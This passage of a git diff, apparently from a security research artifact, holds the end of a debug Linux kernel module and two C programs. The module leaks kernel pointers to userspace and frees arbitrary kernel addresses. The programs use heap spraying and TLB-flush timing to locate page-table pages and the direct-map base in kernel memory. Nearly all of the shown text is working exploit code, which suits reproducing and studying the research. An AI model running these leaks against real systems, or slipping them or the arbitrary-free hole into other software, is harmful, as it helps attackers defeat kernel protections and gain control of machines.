||||
tmp = (size_t)file->private_data;
|
||||
// printk(KERN_INFO "lkm:ioctl: seq_file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CRED_LEAK:
|
||||
tmp = (size_t)current->real_cred;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_INFO "lkm:ioctl: current->cred %016zx\n", tmp);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_FILE_LEAK:
|
||||
id = msg.frd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
tmp = (size_t)fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
// printk(KERN_INFO "lkm:ioctl: file %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.frd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_STACK_LEAK:
|
||||
tmp = (size_t)current->stack;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
// printk(KERN_DEBUG "lkm:ioctl: current->stack %16zx with current %16zx within [%016zx %016zx]\n", tmp, (size_t)&dummy, VMALLOC_START, VMALLOC_END);
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_CODE_LEAK:
|
||||
tmp = (size_t)__text;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMEMMAP_LEAK:
|
||||
tmp = (size_t)vmemmap_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_VMALLOC_BASE_LEAK:
|
||||
tmp = (size_t)vmalloc_base;
|
||||
uaddr = (size_t *)msg.drd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_ARB_FREE:
|
||||
printk(KERN_DEBUG "lkm:ioctl: free %016zx\n", msg.af.kaddr);
|
||||
kfree((void *)msg.af.kaddr);
|
||||
break;
|
||||
|
||||
case LKM_PIPE_BUFFER_LEAK:
|
||||
id = msg.pbrd.fd;
|
||||
files = current->files;
|
||||
|
||||
spin_lock(&files->file_lock);
|
||||
fdt = files_fdtable(files);
|
||||
file = fdt->fd[id];
|
||||
spin_unlock(&files->file_lock);
|
||||
|
||||
pipe = file->private_data;
|
||||
tail = pipe->tail;
|
||||
head = pipe->head;
|
||||
mask = pipe->ring_size - 1;
|
||||
if (msg.pbrd.rdend)
|
||||
tmp = (size_t)&pipe->bufs[tail & mask];
|
||||
else
|
||||
tmp = (size_t)&pipe->bufs[(head - 1) & mask];
|
||||
// printk(KERN_DEBUG "lkm:ioctl: pipe_buffer %016zx\n", tmp);
|
||||
uaddr = (size_t *)msg.pbrd.uaddr;
|
||||
goto COPY_TMP_TO_USER;
|
||||
|
||||
case LKM_PAGETABLE_WALK:
|
||||
printk(KERN_DEBUG "lkm:ioctl: page table walk\n");
|
||||
msg.ptw.pgde = 0;
|
||||
msg.ptw.p4de = 0;
|
||||
msg.ptw.pude = 0;
|
||||
msg.ptw.pmde = 0;
|
||||
msg.ptw.pte = 0;
|
||||
pagetable_walk(&msg);
|
||||
ret = copy_to_user((msg_t*)param, (msg_t*)&msg, sizeof(msg_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ALERT "lkm:ioctl: copy_to_user failed\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
break;
|
||||
|
||||
case LKM_IS_4KB:
|
||||
ret = !isLargePage(msg.ap.addr);
|
||||
// printk(KERN_DEBUG "lkm:ioctl: %016zx is %s page\n", msg.ap.addr, ret == 1 ? "4kB" : "2MB");
|
||||
return ret;
|
||||
|
||||
default:
|
||||
printk(KERN_ERR "lkm:ioctl: no valid num\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
ret = 0;
|
||||
goto DONE;
|
||||
|
||||
COPY_TMP_TO_USER:
|
||||
if(uaddr == 0) { // && "forgot to set uaddr");
|
||||
printk(KERN_ERR "lkm:ioctl: uaddr == 0\n");
|
||||
// ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
if (tmp == -1) { // && "forgot to set tmp");
|
||||
printk(KERN_ERR "lkm:ioctl: tmp == -1\n");
|
||||
// ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
// printk(KERN_INFO "lkm:ioctl: copy 0x%016zx to mem[0x%016zx]\n", tmp, (size_t)uaddr);
|
||||
ret = copy_to_user(uaddr, &tmp, sizeof(size_t));
|
||||
if (ret < 0) {
|
||||
printk(KERN_ERR "lkm:ioctl: copy_to_user failed\n");
|
||||
ret = -1;
|
||||
goto RETURN;
|
||||
}
|
||||
ret = 0;
|
||||
|
||||
DONE:
|
||||
// printk(KERN_INFO "lkm:ioctl: done\n");
|
||||
|
||||
RETURN:
|
||||
return ret;
|
||||
}
|
||||
EXPORT_SYMBOL(lkm_ioctl);
|
||||
|
||||
module_init(lkm_init);
|
||||
module_exit(lkm_cleanup);
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
MODULE_AUTHOR("Lukas Maar");
|
||||
MODULE_DESCRIPTION("LKM");
|
||||
MODULE_VERSION("0.1");
|
24
artifacts/page-table/Makefile
Normal file
24
artifacts/page-table/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c ../include/tlb_flush.h ../include/cacheutils.h ../include/ulkm.h ../include/utils.h ../include/coarse_grain_leak.h
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
266
artifacts/page-table/pmd_4k_leak.c
Normal file
266
artifacts/page-table/pmd_4k_leak.c
Normal file
|
@ -0,0 +1,266 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define DEBUG
|
||||
#ifdef DEBUG
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include "msg_msg.h"
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
|
||||
#define PT_SPRAY (30)
|
||||
#define PT_OTHER_SPRAY (10)
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PMD_SIZE (1<<21)
|
||||
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1<<8)*32
|
||||
#define MSG_TYPE 0x41
|
||||
|
||||
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
|
||||
{
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = {0};
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = {0};
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = {0};
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = {0};
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t,HIST_SIZE-2)]++;
|
||||
times[i] = t;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t,HIST_SIZE-2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries/8];
|
||||
*time_n = times_n[tries/8];
|
||||
*time_n4 = times_n4[tries/8];
|
||||
*time_n8 = times_n8[tries/8];
|
||||
}
|
||||
void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
}
|
||||
void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PT_SPRAY];
|
||||
for (size_t i = 0; i < PT_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL<<30) + (1ULL<<21)*i);
|
||||
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PT_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PT_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL<<30) + (1ULL<<21)*i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PT_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PT_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t time;
|
||||
size_t time_n;
|
||||
size_t time_n4;
|
||||
size_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
|
||||
#ifdef DEBUG
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pmd);
|
||||
printf("[*] %016zx is %s page\n", pmd, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pmd, TRIES*10, &time, &time_n, &time_n4, &time_n8);
|
||||
#endif
|
||||
|
||||
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
|
||||
if (addr4k == pmd) {
|
||||
hit_flush_print(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
printf("[*] times: %zd %zd %zd %zd\n", time, time_n, time_n4, time_n8);
|
||||
} else
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
if (found) {
|
||||
for (size_t i = 1; i < PT_SPRAY && found == 1; ++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
for (size_t i = 1; i < PT_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = !IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
#ifdef DEBUG
|
||||
cnt++;
|
||||
success |= (addr4k == pmd);
|
||||
#endif
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
#ifdef DEBUG
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
printf("[!] multiple addresses -> retry\n");
|
||||
else if (cnt == 0)
|
||||
printf("[!] not found\n");
|
||||
else if (cnt == 1)
|
||||
printf("[!] fail with one address\n");
|
||||
else
|
||||
printf("[!] fail with multiple addresses\n");
|
||||
#else
|
||||
printf("[*] done\n");
|
||||
#endif
|
||||
return 0;
|
||||
}
|
262
artifacts/page-table/pt_4k_leak.c
Normal file
262
artifacts/page-table/pt_4k_leak.c
Normal file
|
@ -0,0 +1,262 @@
|
|||
#include "utils.h"
|
||||
#include "cacheutils.h"
|
||||
#include "tlb_flush.h"
|
||||
#include "coarse_grain_leak.h"
|
||||
#define DEBUG
|
||||
#ifdef DEBUG
|
||||
#include "ulkm.h"
|
||||
#endif
|
||||
#include "msg_msg.h"
|
||||
#include <sys/socket.h>
|
||||
#include <sys/mman.h>
|
||||
#define IPPROTO_DCCP 33
|
||||
#define IPPROTO_SCTP 132
|
||||
#define IPPROTO_L2TP 115
|
||||
#define CAN_RAW 1
|
||||
#define CAN_BCM 2
|
||||
#define CAN_ISOTP 6
|
||||
|
||||
#define HIST_SIZE 60
|
||||
#define TRIES 40
|
||||
|
||||
#define PAGE_SPRAY (30)
|
||||
#define PAGE_OTHER_SPRAY (10)
|
||||
#define PAGE_SIZE (1<<12)
|
||||
#define PMD_SIZE (1<<21)
|
||||
|
||||
#define MSG_SIZE (256 - 48)
|
||||
#define MSG_SPRAYS (1<<8)*32
|
||||
#define MSG_TYPE 0x41
|
||||
|
||||
#define IS_HIT(t, tn2, tn4, tn8) (((tn2) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn4) - (t)) >= (THRESHOLD2-THRESHOLD+2) || ((tn8) - (t) >= (THRESHOLD2-THRESHOLD+2)))
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
|
||||
void __hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8, size_t print)
|
||||
{
|
||||
size_t t;
|
||||
size_t times[tries];
|
||||
size_t hist[HIST_SIZE] = {0};
|
||||
size_t times_n[tries];
|
||||
size_t hist_n[HIST_SIZE] = {0};
|
||||
size_t times_n4[tries];
|
||||
size_t hist_n4[HIST_SIZE] = {0};
|
||||
size_t times_n8[tries];
|
||||
size_t hist_n8[HIST_SIZE] = {0};
|
||||
/* leaking */
|
||||
for (size_t i = 0; i < tries; ++i) {
|
||||
flush_tlb_targeted_4k(addr);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*4);
|
||||
flush_tlb_targeted_4k(addr+PAGE_SIZE*8);
|
||||
if (i % 2 == 0)
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_READ);
|
||||
else
|
||||
mprotect(uaddr, PAGE_SIZE, PROT_WRITE);
|
||||
t = onlyreload(addr);
|
||||
hist[MIN(t,HIST_SIZE-2)]++;
|
||||
times[i] = t;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE);
|
||||
times_n[i] = t;
|
||||
hist_n[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*4);
|
||||
times_n4[i] = t;
|
||||
hist_n4[MIN(t,HIST_SIZE-2)]++;
|
||||
|
||||
t = onlyreload(addr+PAGE_SIZE*8);
|
||||
times_n8[i] = t;
|
||||
hist_n8[MIN(t,HIST_SIZE-2)]++;
|
||||
}
|
||||
qsort(times, tries, sizeof(size_t), comp);
|
||||
qsort(times_n, tries, sizeof(size_t), comp);
|
||||
qsort(times_n4, tries, sizeof(size_t), comp);
|
||||
qsort(times_n8, tries, sizeof(size_t), comp);
|
||||
for (size_t i = 20; i < HIST_SIZE && print; i += 2)
|
||||
printf("% 4zd:\t %3zd %3zd %3zd %3zd\n", i, hist[i], hist_n[i], hist_n4[i], hist_n8[i]);
|
||||
*time = times[tries/8];
|
||||
*time_n = times_n[tries/8];
|
||||
*time_n4 = times_n4[tries/8];
|
||||
*time_n8 = times_n8[tries/8];
|
||||
}
|
||||
void hit_flush(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 0);
|
||||
}
|
||||
void hit_flush_print(void *uaddr, size_t addr, size_t tries, size_t *time, size_t *time_n, size_t *time_n4, size_t *time_n8)
|
||||
{
|
||||
__hit_flush(uaddr, addr, tries, time, time_n, time_n4, time_n8, 1);
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("[*] start\n");
|
||||
set_limit();
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
pin_to_core(0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
static char buffer[0x1000] = {0};
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] make queues\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] warmup and other alloc msg_msg structs\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
printf("[*] reserve mmappings\n");
|
||||
void *addresses[PAGE_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6dULL<<21) + (1ULL<<12)*i);
|
||||
addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] addresses[%ld] %0zx (%016zx)\n", i, (size_t)addresses[i], (size_t)addr);
|
||||
if (addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
void *other_addresses[PAGE_OTHER_SPRAY];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i) {
|
||||
void *addr = (void *)((0x6fULL<<21) + (1ULL<<12)*i);
|
||||
other_addresses[i] = mmap(addr, PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
// printf("[*] other_addresses[%ld] %0zx (%016zx)\n", i, (size_t)other_addresses[i], (size_t)addr);
|
||||
if (other_addresses[i] == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] load 1st half of kernel modules\n");
|
||||
int sock_fd;
|
||||
sock_fd = socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_INET, SOCK_DCCP, IPPROTO_DCCP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(SOCK_DGRAM, CAN_BCM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(SOCK_DGRAM, CAN_BCM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_VSOCK, SOCK_STREAM, 0)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
/* hopefully allocate PUD of 4k mapping */
|
||||
for (size_t i = 0; i < PAGE_SPRAY; ++i)
|
||||
*(volatile size_t *)addresses[i];
|
||||
for (size_t i = 0; i < PAGE_OTHER_SPRAY; ++i)
|
||||
*(volatile size_t *)other_addresses[i];
|
||||
|
||||
printf("[*] load 2nd half of kernel modules\n");
|
||||
sock_fd = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP)");
|
||||
exit(-1);
|
||||
}
|
||||
sock_fd = socket(PF_INET, SOCK_DGRAM, IPPROTO_L2TP);
|
||||
if (sock_fd < 0) {
|
||||
perror("socket(PF_INET, SOCK_STREAM, IPPROTO_L2TP)");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t time;
|
||||
size_t time_n;
|
||||
size_t time_n4;
|
||||
size_t time_n8;
|
||||
size_t dpm_base = dpm_leak(TRIES);
|
||||
printf("[*] dpm_base: %016zx\n", dpm_base);
|
||||
|
||||
#ifdef DEBUG
|
||||
lkm_init();
|
||||
size_t real_dpm_base;
|
||||
lkm_dpm_leak((size_t)&real_dpm_base);
|
||||
if (real_dpm_base != dpm_base) {
|
||||
printf("[!] wrong dpm base %016zx != %016zx\n", real_dpm_base, dpm_base);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
size_t success = 0;
|
||||
size_t cnt = 0;
|
||||
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald((size_t)addresses[0], &pgde, &pude, &pmde, &pte);
|
||||
size_t pud = dpm_base + (pgde & ~(0xfff));
|
||||
size_t pmd = dpm_base + (pude & ~(0xfff));
|
||||
size_t pt = dpm_base + (pmde & ~(0xfff));
|
||||
printf("[*] %010zx %010zx %010zx\n", pud, pmd, pt);
|
||||
size_t is_4kb = lkm_is_4kb(pmd);
|
||||
printf("[*] %016zx is %s page\n", pt, is_4kb ? "4kB" : "2MB");
|
||||
hit_flush_print(addresses[0], pt, TRIES*10, &time, &time_n, &time_n4, &time_n8);
|
||||
#endif
|
||||
|
||||
for (size_t addr = dpm_base+(1ULL<<30); addr < dpm_base+mem_total_rounded; addr += PMD_SIZE) {
|
||||
if ((addr % (1 << 30)) == 0)
|
||||
printf("[*] addr %016zx\n", addr);
|
||||
hit_flush(addresses[0], addr, TRIES/4, &time, &time_n, &time_n4, &time_n8);
|
||||
if (time < THRESHOLD && time_n < THRESHOLD && time_n4 < THRESHOLD && time_n8 < THRESHOLD)
|
||||
continue;
|
||||
for (size_t addr4k = addr; addr4k < addr + PMD_SIZE; addr4k += PAGE_SIZE) {
|
||||
hit_flush(addresses[0], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
size_t found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
if (found) {
|
||||
for (size_t i = 1; i < PAGE_SPRAY && found == 1; ++i) {
|
||||
hit_flush(addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
for (size_t i = 1; i < PAGE_OTHER_SPRAY && found == 1; ++i) {
|
||||
hit_flush(other_addresses[i], addr4k, TRIES, &time, &time_n, &time_n4, &time_n8);
|
||||
found = !IS_HIT(time, time_n, time_n4, time_n8);
|
||||
}
|
||||
}
|
||||
if (found) {
|
||||
#ifdef DEBUG
|
||||
cnt++;
|
||||
success |= (addr4k == pt);
|
||||
#endif
|
||||
printf("[+] found addr %016zx\n", addr4k);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
#ifdef DEBUG
|
||||
if (success == 1 && cnt == 1)
|
||||
printf("[+] success\n");
|
||||
else if (!is_4kb)
|
||||
printf("[!] 2MB page\n");
|
||||
else if (success == 1 && cnt > 1)
|
||||
